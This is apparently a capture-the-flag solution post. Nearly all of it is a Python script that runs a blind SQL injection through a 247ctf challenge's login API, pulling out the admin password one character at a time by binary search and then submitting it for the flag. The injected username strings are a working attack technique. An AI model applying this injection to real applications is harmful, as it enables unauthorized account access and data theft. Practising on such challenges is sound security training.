Nothing specific to say, the code speaks for itself.
import requests
import json
target_url="https://bdf9ebf7188f2277.247ctf.com/"
login_url = target_url+"api/login"
get_token_url = target_url+"api/get_token"
get_flag_url = target_url+"api/get_flag"
# Get the API token
response = requests.get(target_url + 'api/get_token')
response_dict = json.loads(response.text)
token = response_dict["message"].split()[-1][:-1]
print(token)
#key = "03ccdf7206aa67cd5932969152984f9a"
key = token
def query_range(str_pos, bottom, top):
bottom_char = chr(bottom)
top_char = chr(top)
print(f"trying {bottom_char}, {top_char} at position {str_pos}")
data = {
'username': "admin' and SUBSTR(password," + str_pos + ",1) BETWEEN '" + bottom_char + "' AND '" + top_char + "'--",
'password':"",
'api':key
}
r = requests.post(login_url, data=data)
return r
def query_direct(str_pos, val):
val_char = chr(val)
print(f"trying {val_char}")
data = {
'username': "admin' and SUBSTR(password," + str_pos + ",1) == '" + val_char +"'--",
'password':"",
'api':key
}
r = requests.post(login_url, data=data)
return r
def get_flag(password):
data = {
'password':password,
}
r = requests.post(get_flag_url, data=data)
return r
possible_chars= ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
possible_ords = list(map(ord, possible_chars))
def binary_search(str_pos, arr, low, high):
mid = (high + low) // 2
# if there are only 2 elements
if high - low == 1:
r_low = query_direct(str_pos, arr[low])
if "Welcome back admin" in r_low.text:
return low
else:
return high
# if there are only 3 elements
if high - low == 2:
r_low = query_direct(str_pos, arr[low])
if "Welcome back admin" in r_low.text:
return low
else:
r_mid = query_direct(str_pos, arr[mid])
if "Welcome back admin" in r_mid.text:
return mid
else:
return high
# query the lower range
r = query_range(str_pos, arr[low], arr[mid])
# present in lower range
if "Welcome back admin" in r.text:
print(f"in range of {low}, {mid-1}")
return binary_search(str_pos, arr, low, mid)
# present in the higher range
else:
print(f"in range of {mid+1}, {high}")
return binary_search(str_pos, arr, mid + 1, high)
password = ""
for pos in range(32):
# sqlite substr starts from 1
str_pos = str(pos+1)
res = binary_search(str_pos, possible_ords, 0, len(possible_ords)-1)
pass_char = possible_chars[res]
print(f"found: {pass_char}")
password += pass_char
print(password)
r = get_flag(password)
print(r.text)